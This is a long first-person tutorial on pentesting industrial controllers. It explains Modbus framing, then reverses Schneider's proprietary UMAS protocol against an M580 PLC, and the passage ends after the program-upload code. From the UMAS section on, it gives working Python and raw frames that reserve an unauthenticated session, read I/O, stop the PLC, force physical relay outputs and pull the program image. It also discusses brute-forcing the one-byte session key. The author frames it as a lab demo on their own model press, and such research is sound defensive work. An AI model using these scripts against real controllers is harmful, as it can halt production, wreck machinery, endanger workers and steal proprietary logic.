Hacking port 502 for dummies (Modbus/UMAS/Schneider)

Learning OT pentesting from scratch: understand Modbus and port 502, then reverse UMAS (Schneider's proprietary protocol) from two network captures, all the way to stopping an M580, forcing its outputs and stealing its program.

The Schneider M580 and its I/O modules on the rack

Hey

Today we’re heading into industrial controllers (PLCs, Programmable Logic Controllers): those big boxes that drive presses, conveyors, water treatment plants… basically, things that move in the real world. And more specifically, we’re going to look together at port 502 and its weaknesses.

A bit of context. I work in industrial cybersecurity and pentesting, and at work we’re building an all-in-one OT cybersecurity appliance. I needed a killer demo to show, concretely, what an attacker can do to an industrial controller: what’s better than a real PLC you stop and drive remotely, live?

Anyway, the perfect excuse to get my company to invest in toys. So I grabbed a Schneider M580 from our storeroom, had a nice little bending press ordered in “Lego” form (an actual fischertechnik model kit) plus all the gear around it (cable, power supply, breaker, tools, USB-serial adapter…), and I appointed myself PLC engineer (and electrician again) for one weekend to write it a little program just for the occasion. Here’s the beast in action:

The model in action: the normal cycle of the bending press.

Once the toy was built and the program injected and tested, I wanted to talk to the PLC that drives it, this famous M580. And I figured: Modbus (makes sense for Schneider: this 1979 protocol was invented by Modicon, the PLC maker Schneider later acquired), it’s old and it’s simple, I’ll drive its outputs in no time, no sweat.

Except… nope. The PLC answered fine, but my outputs, nothing. As if it were empty. So naturally, I took a bit of a dislike to it, and got it into my head to hack it.

"It's old and simple, this'll be quick," he said

Since I couldn’t attack it over Modbus directly, I did the dumb-but-effective thing: while I was working on it with Schneider’s proprietary software (EcoStruxure Control Expert), I recorded the communications between the PC and the PLC, to understand what they’re saying to each other and imitate it.

And from just two network captures (plus a bit of reading online, poorly documented as it is), I rebuilt Schneider’s proprietary protocol, UMAS: start/stop the PLC, force its outputs, and even retrieve the source code of the program running inside it.

But before we dive into UMAS, we need to lay the groundwork. I promise I’ll explain everything from the start, beginner level, we’ll take it easy.

First, what is Modbus?

Modbus is the protocol of industry. It dates back to 1979 and it’s still everywhere. Why? Because it’s simple. So simple we’ll understand it in two minutes (and its spec is public and free, which probably didn’t hurt its success).

How big is it? According to the annual Industrial Network Market Shares study by HMS Networks (which measures new network nodes installed worldwide), Modbus accounts for around 8% of the market in 2026, i.e. ~5% over TCP and ~3% over RTU. And it’s slowly declining each year, because industrial Ethernet is eating up all the ground (about 79% of new nodes, with PROFINET and EtherNet/IP in the lead). But 8% of installations worldwide for a protocol born in 1979 is still huge. In short, it’s far from dead.

Industrial network market shares in 2026 (HMS Networks): industrial Ethernet 79%, Fieldbus 14%, wireless 7%, of which Modbus about 8% (5% TCP + 3% RTU).

There’s a master (which asks questions) and slaves (which answer). The master asks “give me the value of sensor 3,” the slave answers “42.” Classic.

Everything revolves around 4 data types:

TableWhat it isSizeRead / Write”Classic” address
Coilsoutput bits (a valve, a relay)1 bit0x01 / 0x05·0x0F0xxxx (00001+)
Discrete inputsinput bits (a button, a digital sensor)1 bit0x02 / read-only1xxxx (10001+)
Input registers16-bit input words (a temperature)16 bits0x04 / read-only3xxxx (30001+)
Holding registersmodifiable 16-bit words (a setpoint)16 bits0x03 / 0x06·0x104xxxx (40001+)

Each table has its own function codes (the “Read / Write” column above): 0x01/0x03 to read bits/words, 0x05/0x06 to write a single one, 0x0F/0x10 to write several at once.

The classic addressing trap. The “4x” notation is 1-based, the protocol is 0-based: holding register 40001 in the docs = address 0 on the wire (and 40002 = address 1). That little offset can drive you crazy.

You see the deal: read/write memory cells. That’s it. No fuss.

Concretely, “read me 1 register at address 0” fits in four bytes: 03 0000 0001 (function 3, address 0, quantity 1). The PLC answers 03 02 002A: function 3, 2 bytes of data, value 0x2A = 42. And there you go, you’ve read your sensor. That’s literally what Modbus is.

And when it goes wrong? The slave doesn’t stay silent: it replies with the function code + 0x80, followed by an exception code. You read (FC 0x03) an address that doesn’t exist, it answers 83 02 (0x83 = 0x03 | 0x80, 0x02 = Illegal Data Address). The classics: 01 unknown function, 02 bad address, 03 forbidden value, 04 the slave crashed. Scanning tip, anything that doesn’t return an exception… exists.

And to know who you’re talking to? Two identity functions on the slave side: 0x11 (Report Slave ID, the old-school way, returns a little “model + RUN/STOP state” blob), and above all 0x2B/0x0E (Read Device Identification, the modern version: vendor, product, version, in plain text).

⚠️ Worth noting: Modbus has “no” authentication. None. If you can talk to the protocol, you can read everything and write everything. The protocol was designed in a world where “the network is physically isolated so who cares.” Except today… well, the network isn’t so isolated anymore 🙃.

Modbus RTU: the “cable” version

Originally, Modbus talks over serial. That’s the RTU version, the name of Modbus’s binary transmission mode over serial (as opposed to the “ASCII” mode, more verbose and all but gone). Nothing to do with the Remote Terminal Units of the SCADA world: it’s just an unfortunate homonym. Basically, a cable, one or more PLCs on it, and a dead-simple frame:

[ Slave address ] [ Function code ] [ Data ] [ CRC ]
      1 byte           1 byte          n       2 bytes

The address says who you’re talking to (0 = broadcast to everyone, 1 to 247 = a specific slave), the function code says what to do, the data… well, the data, and the CRC is just to check that nothing got corrupted on the cable.

The cable, precisely: RS-232, RS-422, RS-485

This “serial,” concretely, is one of these three electrical standards. They all send bytes over wires, but not the same way:

StandardTopologyDuplexNodesDistanceSignal
RS-232point-to-pointfull-duplex2~15 msingle-ended (ground-referenced)
RS-4221 transmitter -> N receivers (point-to-multipoint)full-duplex1 + 10~1200 mdifferential
RS-485multidrop bushalf or full-duplex32~1200 mdifferential

RS-232 is the oldest and simplest, a direct link between just two devices, over a few meters, with a fragile signal because it’s measured against a common ground. RS-422 and RS-485 move to a differential signal (the info is carried by the difference between two wires), much more resistant to the electrical noise of a factory, and reach ~1200 m. RS-485 goes further: it’s a true bus where several dozen devices share the same pair of wires, which makes it Modbus RTU’s favorite medium. RS-422, for its part, keeps a single transmitter broadcasting to several receivers (point-to-multipoint, one-way): nobody else talks on the line, so no arbitration. That’s the whole difference with the RS-485 bus, where several devices share the wire and take turns. Hence RS-422 being rarer in this context.

All three often share the same DB9 connector. Same casing doesn’t mean compatible, though: the pinout changes, and the electrical levels are incompatible. Plugging RS-232 into RS-485 through the same DB9 won’t work, and can even fry the port.

RS-232, RS-422 and RS-485, all the same?

What these serial links physically look like

The RS-485 bus, then: a twisted pair of wires where everyone is connected in parallel (multidrop), in half-duplex, everyone talks in turn on the same wire. A single master asks the questions, the slaves answer when called. Addressing goes up to 247 slaves, but the RS-485 electrical spec handles 32 on the bus (master included) without a repeater. The master queries slave 3, slave 3 answers, the others stay quiet. At both ends of the cable, a termination resistor (150 Ω on the Modbus side, 120 Ω in generic RS-485) to kill the echoes.

How do we know where a frame ends? Surprise: there’s no “length” field in RTU. The delimiter is the silence on the wire: 3.5 characters of blank = “frame done, the next one begins” (above 19200 baud it’s fixed at ~1.75 ms). A gap of more than 1.5 characters in the middle of a frame, and it gets thrown out. Old, but robust. (Little aside: a serial link is set with three settings, written as one block, like 8E1 = 8 data bits, even parity (Even), 1 stop bit. Parity is a control bit added after the data: in even parity, it’s 0 or 1 so that the total number of 1 bits stays even, which lets you spot a bit that flipped in transit. Example: the byte A = 01000001 has two 1 bits (already even) -> parity bit 0; the byte C = 01000011 has three (odd) -> parity bit 1. In 8N1, that bit doesn’t exist at all. The Modbus standard mandates 8E1, but in practice almost everyone configures 8N1 (N = no parity), technically off-spec, and it works anyway. OT is like that too.)

Want to build the frame yourself? The only slightly “technical” thing is the CRC, and it fits in 6 lines:

def crc16(t):                         # CRC-16/Modbus
    c = 0xFFFF
    for b in t:
        c ^= b
        for _ in range(8):
            c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1
    return c.to_bytes(2, "little")

trame = bytes([0x01, 0x03, 0x00, 0x00, 0x00, 0x01])   # slave 1: read 1 register @0
print((trame + crc16(trame)).hex())                   # -> 010300000001840a

And to target slave 3 instead of 1? You just change the first byte (the CRC recomputes itself):

trame = bytes([0x03, 0x03, 0x00, 0x00, 0x00, 0x01])   # slave 3, FC03, @0, 1 register
print((trame + crc16(trame)).hex())                   # -> 03030000000185e8

That’s for understanding. In real life you don’t recode the CRC by hand: a ready-made tool like mbpoll (or the Python lib minimalmodbus) handles it.

# read 1 holding register (slave 1, address 0) over the serial bus
mbpoll -m rtu -a 1 -t 4 -r 1 -c 1 -b 9600 /dev/ttyUSB0

Broken down:

  • -m rtu: serial mode (without it, mbpoll would go TCP, its default).
  • -a 1: the targeted slave (address 1).
  • -t 4: the data type, here holding register (the 4x table, read by function 0x03).
  • -r 1: the start address. Careful, mbpoll counts 1-based, so -r 1 corresponds to address 0 on the wire.
  • -c 1: how many values we read (just one).
  • -b 9600: the bus speed, in baud.
  • /dev/ttyUSB0: the serial port (typically your USB-RS485 adapter).

A little nod to the 8E1 from earlier: by default mbpoll uses even parity; if your device is 8N1, add -P none.

No IP, no port, no TCP. Just bytes on a cable. Rustic, but it still runs everywhere. And if you need to connect to it with your PC, all you need is the USB-serial adapter matching the port you’re targeting (USB-RS485 for classic Modbus RTU).

A USB to RS-485 adapter

Modbus TCP: the same, but over the network

One day we wanted to run Modbus over Ethernet / TCP-IP (the classic network, not Allen-Bradley’s EtherNet/IP protocol, which is a completely different thing; industrial naming is a nightmare 🙃). So we keep the core (function code + data), we drop the now-useless serial wrapping (the slave address and the CRC, since integrity is already handled underneath: Ethernet’s CRC-32, and incidentally the TCP checksum), and we stick a little header in front: the MBAP.

That gives this, on port 502:

| MBAP (7 bytes) | Function code | Data |

MBAP =  [ Transaction ID ][ Protocol ID = 0 ][ Length ][ Unit ID ]
            2 bytes            2 bytes         2 bytes   1 byte
  • Transaction ID: a counter to match request/response.
  • Protocol ID: always 0.
  • Length: how many bytes follow.
  • Unit ID: to target a specific unit (a serial slave behind a gateway, or a sub-unit of a device). We’ll come back to it right after.

And that’s it. You connect over TCP on 502, you throw your function codes, and the PLC obeys. Still no authentication. You can feel where this is going.

“So what about secure Modbus?” It exists: it’s Modbus/TCP Security (Modbus Organization, 2018). TLS over Modbus, on port 802 instead of 502, with X.509 certificates on both sides and even role-based authorization (the role is hidden in a certificate extension). On paper, it’s clean, and it’s clearly the right direction. The real brake is adoption: still rarely deployed in the field (legacy install base, backward compatibility), but that’s exactly where we should be pushing.

Secure Modbus? Meh. Naked Modbus? Perfect.

Two subtleties that come in handy. The Unit ID (the direct heir of the RTU slave address) looks redundant for a directly addressed PLC, since the IP already identifies the machine. The official spec actually recommends setting it to 0xFF (255) as a “non-significant” value, with 0x00 also accepted for direct addressing. In my M580 captures, everything goes out with Unit ID 0: Control Expert talks directly to the CPU, with no gateway or serial slave behind it.

But “redundant” doesn’t mean “useless.” It’s a routing field: a single IP can perfectly well expose several units distinguished by their Unit ID, without necessarily any serial at the end. Two classic cases, a TCP-to-serial-bus gateway (there the Unit ID resumes its role as slave address 1 to 247), or a multi-CPU / backplane device that routes the request to the right rack. That’s why you can perfectly dialog with different “slaves” on a single IP. On the convention side, nothing esoteric: values 1 to 247 are simple addresses, and the only reserved ones are 0 (broadcast) and the 248-255 range, but only in the serial world. In native TCP, 0 is not a broadcast, just direct addressing.

As for the Transaction ID, it lets you send several requests without waiting for the responses: each one copies back the ID of its question, you re-associate them. Remember this detail, because in UMAS this counter is on the client side and survives even a TCP reconnection (we’ll come back to it).

Reading a register on a real PLC, then, is 3 lines:

import socket
s = socket.create_connection(("10.1.2.60", 502))
s.send(bytes.fromhex("000100000006000300000001"))    # MBAP + FC03: read 1 register @0
print(s.recv(256).hex())                             # the response MBAP + the value

Let’s break down these bytes, 0001 0000 0006 00 03 0000 0001:

  • 0001: Transaction ID (the counter that pairs request and response).
  • 0000: Protocol ID (always 0 in Modbus).
  • 0006: Length, the number of bytes that follow.
  • 00: Unit ID (0 = we’re talking directly to the CPU).
  • 03: the function, read holding registers.
  • 0000: the start address (register 0).
  • 0001: the quantity (1 register).

In real life you don’t count the bytes by hand: pymodbus does the same, more readably:

from pymodbus.client import ModbusTcpClient        # pip install pymodbus
c = ModbusTcpClient("10.1.2.60")
print(c.read_holding_registers(0, count=1).registers)   # read 1 holding reg @0

And if you want the “one terminal line” version, it’s the exact same mbpoll as in serial, just switched to TCP mode:

# read 1 holding register @0 on the PLC, over TCP (port 502)
mbpoll -m tcp -a 1 -t 4 -r 1 -c 1 -1 10.1.2.60      # -1 = a single read (no looping poll)

The homemade padlock: when auth is bodged into the program

Since Modbus has no native authentication, you sometimes run into a DIY workaround, and I’ve already come across one for real in an OT lab: the engineer codes a lock directly into the PLC logic. The program only allows commands if a certain block of registers holds the right “passphrase.” Want to drive the process? First write the password (often ASCII text, one character per register) into the dedicated registers, and only then does the logic unlock the writes. In my case, as long as the passphrase wasn’t set in the right block of registers, any setpoint change was ignored.

It looks like this, in pure Modbus (no UMAS in there):

from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.1.2.60"); c.connect()

mdp  = "UNLOCK-1234"
vals = [ord(ch) for ch in mdp]                       # -> [85, 78, 76, 79, 67, 75, 45, 49, 50, 51, 52]
c.write_registers(2000, vals)                        # FC16: writes the list IN SEQUENCE starting at 2000
                                                     #   reg 2000 = 85 ('U'), 2001 = 78 ('N'), 2002 = 76 ('L')...
# the program sees the right passphrase in the block, and unlocks the writes:
c.write_register(1034, 42)                           # a process setpoint, now accepted

Two things that often trip people up here. One: ord(ch) gives you the character’s numeric code, and decimal or hex it’s the same value (ord('U') = 85 = 0x55); pymodbus expects an integer, so no need to “convert to hex,” 85 and 0x55 write the same byte. Two: write_registers(2000, [...]) (function 0x10, Write Multiple Registers) writes the list in sequence starting from the given address: 1st element in register 2000, 2nd in 2001, 3rd in 2002, etc. Since each register is 16 bits, one character (1 byte) leaves the high byte at zero (reg 2000 = 0x0055).

Some real devices do this (they expose a “password register” and an “access status register”), and it often replays via function 0x17 (Read/Write Multiple Registers), which reads and writes in the same transaction. But let’s be clear, this is security by obscurity: the password travels in the clear, so a sniff + replay is enough, and failing that you just write the right values. The lab cranked it up by scattering the passphrase across non-contiguous registers (the “random” version): no more block to read or replay in one shot, you first have to find which register holds which character.

Reading a value: the endianness trap

Whether you’re in RTU or TCP, reading a register is the same: only the wrapping changes (the CRC on one side, the MBAP on the other). Where people struggle is decoding the value that comes back.

A register = 16 bits, big-endian (high byte first). The response … 00 2A thus reads directly as 0x002A = 42. So far, easy.

The trouble comes with 32-bit values (a float, a long counter): they span 2 registers, and the order of the two words isn’t standardized. Each manufacturer does pretty much what it wants. The same float 3.14 (= 0x4048F5C3 in IEEE-754) can therefore show up in 4 forms:

OrderRegisters (hex)Read in decimalNickname
high word first4048 F5C316456 62915ABCD (big-endian)
words swappedF5C3 404862915 16456CDAB (word-swap)
bytes swapped4840 C3F518496 50165BADC (byte-swap)
everything swappedC3F5 484050165 18496DCBA (little-endian)

Same value, 4 representations. If you expect 3.14 and read -4.9e+32, you just picked the wrong order. The reflex: an online Modbus converter, you paste your 2 registers and test the 4 orders until you land on a value that makes physical sense. In Python, struct does the same:

import struct
def lire_float(r1, r2, swap=False):       # r1, r2 = the 2 registers read
    if swap: r1, r2 = r2, r1              # some devices swap the words (CDAB)
    return struct.unpack(">f", struct.pack(">HH", r1, r2))[0]

print(lire_float(0x4048, 0xF5C3))             # -> 3.14   (ABCD order)
print(lire_float(0xF5C3, 0x4048, swap=True))  # -> 3.14   (CDAB device, we set it straight)

You never really “read” a Modbus value until you’ve confirmed its type (16/32 bits, signed? float?) and its byte order. The device docs are your friend. Keep that in mind if you do HackTheBox’s Alchemy prolab :ptsd:

The twist: in “pure” Modbus, the PLC looks almost empty

A little subtlety that changes everything. On a modern Schneider PLC (M340, M580, basically since the Unity Pro / Control Expert era, mid-2000s), the physical inputs/outputs are NOT exposed directly over Modbus.

Why? Because these PLCs use topological addressing, keyed to the physical position of the hardware. And there are several forms of it: the short form for a local rack I/O, %I0.1.2 (rack 0, module 1, channel 2), and a long form for remote I/O, which prefixes the bus/station path, %I\b.e\r.m.c (bus, remote device, rack, module, channel). Add to that the implicit diagnostic objects (%I4.2.MOD.ERR, %I4.2.3.ERR) and the IODDT “object” view (%CH...): plenty of ways to designate the same channel, and not a single one that’s a classic “Modbus cell.” It’s precisely the long form of remote I/O that gave me a bit of trouble.

For an I/O to be readable in standard Modbus (0x01, 0x03…), the engineer must explicitly copy it into a mapped variable (%M, %MW), the only zone the M340/M580’s Modbus server exposes. Until they’ve done so, a “dumb” Modbus scan on port 502 returns… almost nothing. On the old Quantums of the Concept era, it was even the opposite: the historical “State RAM” was the Modbus table, and I/O were mapped onto fixed addresses by default. In short, a point I struggled with a bit for my attack scenarios, when I started my apprentice-PLC-engineer alchemy.

So you sometimes hear “Modbus is secure by default, it exposes nothing.” And that’s true… in the strict sense of the Modbus function codes. Except it’s not a real security barrier:

The real point. Modbus is an open standard (everyone knows its function codes), but on an M580 it only shows what someone bothered to map. UMAS, on the other hand, is proprietary (encapsulated in 0x5A) but runs on the same port 502. And it reads the I/O image, the variables and the memory live, mapped or not, without authentication. The open source looks empty; it’s the closed protocol that holds the keys. The real attack surface is UMAS.

What does it look like in reality? An mbpoll (or an nmap --script modbus-discover) reading the standard registers of my M580 returns nothing exploitable (nothing is mapped). The same target, over UMAS (function 0x70, which we’ll detail right after), gives me back the live state of the module’s 8 outputs, mapped or not.

Same IP, same port 502. One sees an empty box, the other sees everything.

In other words, the attacker who only looks “at the Modbus” sees an almost mute box and thinks “meh, nothing to dig into.” The one who speaks UMAS reads everything, forces everything, and leaves with the program. Alright. Let’s go.

UMAS makes its entrance

And then UMAS shows up

Reading/writing registers is cute, but when an engineer programs a Schneider PLC with its software (EcoStruxure Control Expert), they do much heavier stuff: they download a program, put the PLC in RUN/STOP, force outputs, display variables live…

None of that fits in the classic Modbus functions. So Schneider encapsulated their own proprietary protocol inside Modbus, under a single reserved function code: 0x5A (90).

UMAS, the proprietary protocol encapsulated in Modbus function code 0x5A

This proprietary protocol is UMAS (Unified Messaging Application Services). Officially undocumented, but well dissected by the community (Kaspersky, Wireshark dissectors…) over the last few years; my analysis lines up with theirs. And it’s the one we’re going to peel apart.

The UMAS frame is just Modbus TCP, and after the 0x5A:

| MBAP | 0x5A | session (1B) | UMAS function (1B) | data |
  • session: a “session key” byte (we’ll come back to it, it’s the heart of the problem).
  • UMAS function: the real opcode (like 0x40 = RUN, 0x41 = STOP, 0x71 = force an output…).

In my two captures, 100% of the application traffic goes through 0x5A. UMAS is the payload of this Modbus function. I found about twenty distinct UMAS functions in there, but the protocol has many more. I didn’t start from scratch, either: the community has already dissected UMAS quite a bit, for example on the lirasenlared blog. I cross-checked its table against my captures: on the functions I actually saw go by (reservation, monitoring, forcing, transfer), the bytes match. Here’s the inventory, the juiciest ones for an attacker in bold.

CodeWhat it does
0x01init a UMAS communication
0x02read the CPU identity (“BME P58 2040”, an M580)
0x03read the project info
0x04 / 0x06PLC internal info / SD card info
0x10reserve the PLC (the prerequisite to any write)
0x11 / 0x12release the reservation / keep-alive
0x20read a memory block (including the password hash, see below)
0x21write a memory block
0x22 / 0x23read / write variables (system bits and words, variables)
0x24 / 0x25read / write coils and registers
0x26data dictionary (the symbol table)
0x28 / 0x29read / write at a physical address
0x30-0x32program transfer, PC to PLC direction
0x33-0x35program transfer, PLC to PC direction (the code theft)
0x36backup/restore to SD card
0x39read Ethernet master data
0x40 / 0x41 / 0x42RUN / STOP / INIT
0x50live variable monitoring
0x52read forced bits
0x58connection status and diagnostic
0x60-0x66debug: breakpoints, single-step, call stack
0x6Eauthentication nonce exchange (at the heart of the auth bypass)
0x70read the I/O image (no reservation needed)
0x71force an output (to 0, to 1, unforce, reset)
0x72 / 0x73rack info / module status
0xFE / 0xFDOK response / error response from the PLC

The “no password” thing, seriously?

Seriously. Let’s clarify right away, though: what I’m describing here is the case where no application password has been configured on the PLC. And that’s unfortunately far too common in the field: the application password is disabled by default, and it often stays that way. The case where someone took the trouble to set one (properly), we’ll keep for later; it gets a lot more interesting.

The only handshake to take control of the PLC is the reservation (0x10). The client sends… just the name of its PC. And the PLC answers with a 1-byte session identifier.

PC  -> PLC :  5A 00 10  845C0000 0F  "BOOK-1O96RBKNNR"   (I'm reserving, here's my name)
PLC -> PC  :  5A 00 FE  19                                (ok, your session = 0x19)

Wireshark: the reservation down to the byte, UMAS function 0x10 and the PC name in the clear Wireshark: the UMAS reservation, a PC name for a session key

There are actually Wireshark dissectors for UMAS now, I invite you to take a look at the one by biero and the one by zaltzman.

That’s. It. No password, no challenge, no crypto. Nothing. You give a name (any name), you get 0x19, and then all you have to do is paste that byte back into each frame to do whatever you want: STOP, forcing, reprogramming…

In real life, talking to an M580 fits in 12 lines of pure Python. Reserve (= throw a bogus name), grab the session, read the CPU identity:

import socket
s = socket.create_connection(("10.1.2.60", 502)); tid = 1
def umas(session, func, data=b""):
    global tid
    pdu = bytes([0x5A, session, func]) + data
    s.send(tid.to_bytes(2,"big") + b"\x00\x00" + (len(pdu)+1).to_bytes(2,"big") + b"\x00" + pdu)
    tid += 1; r = s.recv(512); return r[8], r[9], r[10:]   # session, status, data

_, _, d = umas(0x00, 0x10, bytes.fromhex("845c0000") + b"\x05HELLO")   # reserve (bogus name)
sess = d[-1]                                                          # the session we're assigned
print("session =", hex(sess))                                        # -> 0x19
print("identity:", umas(0x00, 0x02)[2])                              # read the CPU

Read-only, nothing broken. For the STOP and the forcing it’s the same principle (a single function byte that changes).

⚠️ In plain terms: anyone who reaches port 502 can reserve the PLC and drive it, at least in this case where there’s no authentication. The “reservation” isn’t a security measure, it’s just a lock to prevent two engineers from writing at the same time. The PC name? Never verified. It’s a label, not an identifier.

Worse, in my captures, the session survives the TCP reconnection. You cut, you come back, and you resume your session without re-reserving. The session byte is 256 possible values, in the clear, guessable. Two CVEs fit this exactly: CVE-2022-45789 (hijacking/replaying a UMAS session) for the session resumption, and CVE-2018-7842 (brute-forcing the reservation) for the ridiculous entropy of a single byte.

Little tell along the way: my sessions are 0x19 and 0xBE, so random values, not the fixed 0x01 of old firmwares. That dates the thing, because the key is only drawn at random from firmware M340 ≥ 2.7 (threshold noted by Kaspersky; before that, it was always 0x01, even more trivial). But random or not, 1 byte makes 256 values, and it brute-forces in a handful of seconds.

"The PLC's security," artist's impression

Careful not to over-interpret, though: this triviality holds as long as nobody has enabled the application password. Where it is enabled, and on an up-to-date firmware, replaying the session byte is no longer enough (writing then requires an authentication secret, we’ll get to it).

First we look: read an input, read an output

Session or not, the first reflex isn’t to break everything, it’s to look. And the craziest part: reading the I/O image doesn’t even require a reservation. It goes through session 0x00, unauthenticated. The reservation is for writing. Reading is free.

The function that does this is 0x70 (READ_IO_OBJECT). You give it a bank (0x01 = the inputs image %I, 0x02 = the outputs image %Q), an offset and a number of channels, and it returns 3 bytes per channel. The third one is a status byte that says it all:

bitmaskwhat it means
bit00x01value in the image (what the program sees)
bit10x02actual live value (at the physical terminal)
bit20x04forced
bit30x08fallback (set when going to STOP)
bit60x40channel valid / present

Spying on a button (an input)

The 8 inputs of my BMX DDM 16025 module are at offset 0x00. A few lines of pure Python (the umas() helper from the start) replay the read in a loop while someone presses the buttons, all in session 0x00, without even reserving:

import time

def io_pane(typ, offset, count):        # builds a READ_IO_OBJECT (0x70) request
    return (bytes.fromhex("0400000003000120") + bytes([typ, count, 0])
            + offset.to_bytes(2, "little") + b"\x00\x00\x00\x00")

print("Press the buttons on the model... (Ctrl+C to stop)")
while True:
    # type 0x01 = INPUTS image %I, 8 channels starting from offset 0x00
    _, _, d = umas(0x00, 0x70, io_pane(0x01, 0x00, 8))    # session 0x00: read, no reservation
    etats = [d[6 + 3*i + 2] for i in range(8)]            # the status byte of each of the 8 channels
    print("  ".join(
        f"E{i}:{'PRESSED ' if (e & 0x03) == 0x03 else 'released'}"   # 0x43 = 0x40|0x02|0x01: finger on the button
        for i, e in enumerate(etats)), end="\r")
    time.sleep(0.1)

Watching a LED (an output)

Same function, same io_pane() helper, but type 0x02 (the outputs %Q) and the outputs offset (0x10 on this module):

_, _, d = umas(0x00, 0x70, io_pane(0x02, 0x10, 8))    # OUTPUTS image, 8 channels @0x10
print([hex(d[6 + 3*i + 2]) for i in range(8)])        # an output at 1 = 0x03 (value + live)

A normal output at 1 reads 0x03 (value + live). Remember this bank, it’s the one that will serve as our proof right after: an output forced to 1 will go to 0x07.

Why 0x01 and 0x02? These are the %I and %Q images, the internal addresses 0x45 and 0x48 that I found in the rack diagnostic. The module itself declares its T_DIS_IN over 8 channels starting from channel 0, and its T_DIS_OUT over 8 channels starting from 16. Everything checks out down to the byte.

Reading a variable, not just an I/O (0x50)

The I/O image (0x70) is good for physical inputs/outputs. But to read any variable of the program (an internal word, a counter, a setpoint), there’s 0x50 (MONITOR_VARIABLES). It’s the mechanism behind Control Expert’s animation table, the one that displays values live while you work. You ask for an address and a size, the PLC gives you back the value, live. Same helper, with a 09 descriptor (read by address), but this time with your reserved session (sess), and no longer 0x00:

req = bytes.fromhex("15000209010c00020007")   # 0x50: read 2 bytes @0x000c (a 16-bit word)
_, _, d = umas(sess, 0x50, req)               # sess = the session obtained at reservation
size = int.from_bytes(d[1:3], "little")
print("value =", d[3:3+size].hex())           # -> fbff (the live value of the variable)

So, what can we do?

Once the session is in hand: everything.

STOP the PLC (halt production), one byte:

5A 19 41 FF00

And bam, the PLC goes into STOP.

Force an output, like switching a physical thing on/off by force, regardless of what the program says. The 0x71 command takes an output address and a command byte:

  • 0x03 -> force to 1
  • 0x02 -> force to 0
  • 0x04 -> unforce
  • 0x00 -> reset
5A 19 71 04000000030001200201 0012 0001000000 03
                                ^              ^
                          output 0x12    force to 1

Wireshark: the 0x71 frame that forces an output

In Python, these two build in a few lines (still with the umas() helper from above):

umas(sess, 0x41, b"\xff\x00")                         # STOP the PLC (DESTRUCTIVE)

def force(session, off, cmd):     # cmd: 0x03=to 1, 0x02=to 0, 0x04=unforce, 0x00=reset
    data = bytes.fromhex("04000000030001200201") + bytes([0, off]) \
         + bytes.fromhex("0001000000") + bytes([cmd])
    return umas(session, 0x71, data)

force(sess, 0x12, 0x03)                               # force output 0x12 to 1 (DESTRUCTIVE)

You change a single byte (the last one) and you go from “force to 1” to “force to 0.” In my captures, I forced outputs 16 to 22 (offsets 0x10-0x16). Cross-referencing with the rack config, these are physical outputs of the BMX DDM 16025 module (a mixed 8-input / 8-relay-output digital module).

And if you want to read back right after with 0x70, you see the status byte confirm your force down to the terminal:

def lire_sortie(offset):                         # reads back the state of ONE output (session 0x00)
    _, _, d = umas(0x00, 0x70, io_pane(0x02, offset, 1))
    return d[6 + 2]                              # the channel's status byte

force(sess, 0x10, 0x03); print(hex(lire_sortie(0x10)))   # force to 1 -> 0x05 or 0x07 (forced + image)
force(sess, 0x10, 0x02); print(hex(lire_sortie(0x10)))   # force to 0 -> 0x04 or 0x06 (forced)
force(sess, 0x10, 0x04)                                  # unforce -> control returns to the program

The force-then-readback sequence is the proof that the command took hold: bit2 (forced) lights up, and bit0 (image) follows your setpoint. Bit1 (live), for its part, reflects the physical state of the relay at the moment of the read: if the program was already driving the output (relay energized), you’ll see 0x07 / 0x04; if the output was at rest, more like 0x05 / 0x06. In both cases, the force bit is indeed raised.

For a killer demo: the running-light effect. Forcing an output is nice, making them move is better. We force each output in turn, and a LED walks along the module:

import time
outs = list(range(0x10, 0x17))            # outputs 16 to 22
for off in outs + outs[::-1]:              # a round trip
    force(sess, off, 0x03)                 # switch this output on
    time.sleep(0.3)
    force(sess, off, 0x04)                 # then unforce -> "running light" effect

The sess session and the force() helper come from before. Just remember to unforce everything and release the session on your way out, otherwise the PLC stays stuck on your forces.

And on my real model, what does it look like?

"UMAS isn't publicly documented, so it's unexploitable... right?"

Once all this theory was digested, I recompiled it into a little homemade script pointed at my bending press. The principle is exactly the one above: I reserve the PLC, then I force its outputs one by one to make the beast move every which way, without ever touching the program running inside it.

My script forces the outputs remotely: the press goes haywire.

Beyond the “impressive” side of this huge press going bananas, you can also imagine sneakier scenarios: small changes, like a bad grip on a part or a shift in the cycle, that can end in breakage.

A simple shift in the cycle, and the part breaks.

The moment we steal the program in 3 lines of Python

Stealing the PLC's program, casually

When you download the program from the PLC (function 0x34), you get a binary image (~100 KB, the Schneider APX format).

First, how do we retrieve this image? We open the upload with 0x33, we pull the blocks one by one with 0x34 (incrementing the block number), and we close it with 0x35. Each 0x34 response carries a little header [last-block flag 2B][length 2B] followed by the block’s data, and it’s that flag (at 0 on the current blocks, non-zero on the last) that says when to stop. Still with the umas() helper and the reserved session sess:

# suck out the program: transfer 0x33 (init) -> 0x34 (block by block) -> 0x35 (end)
umas(sess, 0x33, bytes.fromhex("0001fd03"))          # we open the transfer (upload)
image, blk = b"", 1
while True:
    _, _, d = umas(sess, 0x34, bytes.fromhex("0001") + blk.to_bytes(2, "little"))  # request block #blk
    dernier = d[0:2] != b"\x00\x00"                   # response: [last-block flag 2B][length 2B][data]
    n = int.from_bytes(d[2:4], "little")              # length of the block's data
    image += d[4:4+n]                                 # we stack the piece
    if dernier:                                       # final block marked -> we exit
        break
    blk += 1
umas(sess, 0x35, bytes.fromhex("0001"))              # we close the transfer
# image = the ~100 KB of the APX, ready to decompress

Two robustness points to make it really work on a different target. First, a block can exceed 512 bytes and be split across several TCP segments: the minimalist umas() from the start (a single recv(512)) is no longer enough here, you have to read the MBAP header, grab the Length field, and read exactly that number of bytes, otherwise you stack truncated blocks. Second, the offset of the zlib stream (the 99279 in the next snippet) is specific to my image: don’t hard-code it, instead scan image for the zlib magic bytes (78 9c, 78 01, 78 da) and decompress each stream (in my capture, that gives about fifteen streams, including a plaintext <?xml …><Diagnostic> right off the bat). The 0001/fd03 values of the init, though, are constant (identical in my two captures, whatever the session), so reproducible as-is.

